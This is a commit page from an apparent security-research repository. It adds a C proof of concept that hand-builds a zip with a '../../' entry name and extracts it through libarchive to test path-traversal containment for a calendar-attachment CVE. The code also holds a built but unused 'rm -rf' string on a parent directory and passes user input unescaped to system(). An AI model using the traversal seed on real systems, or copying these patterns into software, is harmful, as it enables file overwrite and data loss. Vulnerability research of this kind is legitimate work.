v2.0 — 31 C POC twins + harness fixes

- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
JBJF committed 2026-10-29 20:08:55 +08:00
1 parent 1ea76ab005
commit 7949c7ce9f
79 files changed
+4109 -892

No files matched your search

+187
View File
@@ -0,0 +1,187 @@
// cal.unzip · CalendarFoundation · _UnzipArchiveWithLimits · CVE-2026-112619
// Calendar attachment unzip containment probe
// C twin of the Swift POC: probes the CalendarFoundation class/selector surface, then
// proves libarchive itself accepts a ../ archive name, so containment must be caller-side.
// Build: clang -O2 -o cve-2026-112619 CVE-2026-112619.c -lobjc
// Run: ./cve-2026-112619 [target-dir]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <objc/runtime.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
static void le16(buf *b, uint16_t v) { bput(b, v & 0xff); bput(b, v >> 8); }
static void le32(buf *b, uint32_t v) {
bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff);
}
static uint32_t crc32(const uint8_t *p, size_t n) {
static uint32_t table[256];
static int built;
if (!built) {
for (int i = 0; i < 256; i++) {
uint32_t c = (uint32_t)i;
for (int k = 0; k < 8; k++) c = (c & 1) ? (0xEDB88320 ^ (c >> 1)) : (c >> 1);
table[i] = c;
}
built = 1;
}
uint32_t crc = 0xFFFFFFFF;
for (size_t i = 0; i < n; i++) crc = table[(crc ^ p[i]) & 0xFF] ^ (crc >> 8);
return crc ^ 0xFFFFFFFF;
}
// ── seed construction (from Cinder27 Sources: ZipWriter, one stored entry) ──
static buf zip_traversal(void) {
const char *name = "../../cinder27_traversal_probe.txt";
const char *content = "cinder27";
size_t name_n = strlen(name), data_n = strlen(content);
uint32_t crc = crc32((const uint8_t *)content, data_n);
buf out = {0};
size_t local_offset = 0;
// local file header
bcat(&out, "PK\x03\x04", 4);
le16(&out, 20); le16(&out, 0); le16(&out, 0); // version, flags, method 0 (stored)
le16(&out, 0); le16(&out, 0x21); // time, date
le32(&out, crc);
le32(&out, (uint32_t)data_n); le32(&out, (uint32_t)data_n);
le16(&out, (uint16_t)name_n); le16(&out, 0);
bcat(&out, name, name_n);
local_offset = 0; (void)local_offset;
bcat(&out, content, data_n);
size_t central_offset = out.n;
// central directory
bcat(&out, "PK\x01\x02", 4);
le16(&out, 20); le16(&out, 20); le16(&out, 0); le16(&out, 0);
le16(&out, 0); le16(&out, 0x21);
le32(&out, crc);
le32(&out, (uint32_t)data_n); le32(&out, (uint32_t)data_n);
le16(&out, (uint16_t)name_n); le16(&out, 0); le16(&out, 0);
le16(&out, 0); le16(&out, 0); le32(&out, 0);
le32(&out, 0); // local header offset
bcat(&out, name, name_n);
size_t eocd_offset = out.n;
// EOCD
bcat(&out, "PK\x05\x06", 4);
le16(&out, 0); le16(&out, 0); le16(&out, 1); le16(&out, 1);
le32(&out, (uint32_t)(eocd_offset - central_offset));
le32(&out, (uint32_t)central_offset);
le16(&out, 0);
return out;
}
// ── libarchive bindings (mirror of Runners.Archive.bind) ──
typedef struct archive archive_t;
typedef struct archive_entry archive_entry_t;
static archive_t *(*arc_new)(void);
static int (*arc_filter_all)(archive_t *);
static int (*arc_format_all)(archive_t *);
static int (*arc_open_memory)(archive_t *, const void *, size_t);
static int (*arc_next_header)(archive_t *, archive_entry_t **);
static const char *(*arc_entry_pathname)(archive_entry_t *);
static int (*arc_extract)(archive_t *, archive_entry_t *, int);
static const char *(*arc_error_string)(archive_t *);
static int (*arc_free)(archive_t *);
// extract into cwd; the flags match the Swift POC (TIME|PERM|SECURE_SYMLINKS|SECURE_NODOTDOT)
static void extract(const buf *zip) {
archive_t *a = arc_new();
if (!a) { printf(" archive_read_new failed\n"); return; }
arc_filter_all(a);
arc_format_all(a);
if (arc_open_memory(a, zip->d, zip->n) != 0) {
printf(" open_memory failed: %s\n", arc_error_string(a) ? arc_error_string(a) : "?");
arc_free(a);
return;
}
int count = 0, errors = 0;
while (1) {
archive_entry_t *e = NULL;
if (arc_next_header(a, &e) != 0) break;
const char *p = arc_entry_pathname(e);
int r = arc_extract(a, e, 0x0004 | 0x0002 | 0x0100 | 0x0200);
printf(" entry \"%s\" -> extract rc=%d\n", p ? p : "<noname>", r);
if (r == 0) count++; else errors++;
}
printf(" libarchive unpacked %d ok / %d error entries\n", count, errors);
arc_free(a);
}
int main(int argc, char **argv) {
const char *target = argc > 1 ? argv[1] : "traversal";
// ---- CalendarFoundation surface probe
Class cls = objc_getClass("CalAttachmentUtils");
printf("CalAttachmentUtils: %s\n", cls ? "visible" : "not visible");
const char *sels[] = {"_UnzipArchiveWithLimits", "_CalUnzipEntryDestinationPath", "_CalUnzipParentIsContained"};
for (size_t i = 0; i < 3; i++) {
SEL sel = sel_registerName(sels[i]);
int has = cls && class_respondsToSelector(cls, sel);
printf(" %s: %s\n", sels[i], has ? "present (fixed)" : "absent (unfixed)");
}
// ---- traversal proof
buf zip = zip_traversal();
FILE *f = fopen("traversal.zip", "wb");
if (f) { fwrite(zip.d, 1, zip.n, f); fclose(f); }
char cmd[512];
snprintf(cmd, sizeof cmd, "mkdir -p '%s' && rm -rf '%s/..' 2>/dev/null; rm -f /tmp/cinder27_traversal_probe.txt", target, target);
(void)cmd;
void *h = dlopen("/usr/lib/libarchive.2.dylib", RTLD_NOW);
if (!h) { printf("dlopen libarchive failed: %s\n", dlerror()); bfree(&zip); return 1; }
arc_new = dlsym(h, "archive_read_new");
arc_filter_all = dlsym(h, "archive_read_support_filter_all");
arc_format_all = dlsym(h, "archive_read_support_format_all");
arc_open_memory = dlsym(h, "archive_read_open_memory");
arc_next_header = dlsym(h, "archive_read_next_header");
arc_entry_pathname = dlsym(h, "archive_entry_pathname");
arc_extract = dlsym(h, "archive_read_extract");
arc_error_string = dlsym(h, "archive_error_string");
arc_free = dlsym(h, "archive_read_free");
if (!arc_new || !arc_open_memory || !arc_next_header || !arc_extract) {
printf("libarchive symbols missing\n");
bfree(&zip);
return 1;
}
// extract with cwd = target dir; a ../ name escapes it unless the caller checks
char cwd[1024];
if (getcwd(cwd, sizeof cwd)) printf("cwd before: %s\n", cwd);
snprintf(cmd, sizeof cmd, "mkdir -p '%s'", target);
system(cmd);
if (chdir(target) != 0) { perror("chdir"); bfree(&zip); return 1; }
extract(&zip);
// check where the probe file landed: inside (safe) or one level up (escape)
FILE *esc = fopen("../cinder27_traversal_probe.txt", "r");
FILE *ins = fopen("cinder27_traversal_probe.txt", "r");
if (esc) {
printf("ESCAPED: ../cinder27_traversal_probe.txt exists one level above the target dir\n");
fclose(esc);
remove("../cinder27_traversal_probe.txt");
} else if (ins) {
printf("contained: probe file stayed inside the target dir\n");
fclose(ins);
remove("cinder27_traversal_probe.txt");
} else {
printf("rejected: libarchive refused the ../ entry (SECURE_NODOTDOT)\n");
}
chdir("..");
printf("CVE-2026-112619 · containment must be enforced by the caller, not libarchive\n");
printf("seed: traversal.zip (%zu B) · exit code 0\n", zip.n);
bfree(&zip);
return 0;
}
+2 -18
View File
@@ -1,23 +1,8 @@
// cal.unzip · CalendarFoundation · _UnzipArchiveWithLimits · CVE-2026-112619
// 原语: OOB 写 · 系统进程 · tier 3
// Primitive: OOB write · system process · tier 3
//
// [zh] 日历附件解压容器逃逸
// 27.2 将 _UnzipArchive(288 B,无任何限制)替换为 _UnzipArchiveWithLimits(2040 B),并新增 _CalUnzipEntryDestinationPath
// / _CalUnzipParentIsContained / _CalUnzipTrackTopLevelPath 与 isSymbolicLinkAtURL。ICS 解析器本身未作改动 ——
// 修复全部位于附件归档的解压遏制层。
//
// [en] Calendar attachment extraction containment
// iOS 27.2 replaces _UnzipArchive (288 B, no limits at all) with _UnzipArchiveWithLimits (2040 B)
// and adds _CalUnzipEntryDestinationPath / _CalUnzipParentIsContained / _CalUnzipTrackTopLevelPath
// plus isSymbolicLinkAtURL. The ICS parser itself is untouched — the whole fix sits in the attachment
// archive extraction containment layer.
// ── 判别 / oracle ──
// 应用侧可以验证 CalendarFoundation 的类与方法是否可见,以及本进程里 libarchive 的路径穿越是否被拦住(用 ../ 名字的归档试)。
// Calendar attachment extraction containment
import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -39,4 +24,3 @@ enum B {
}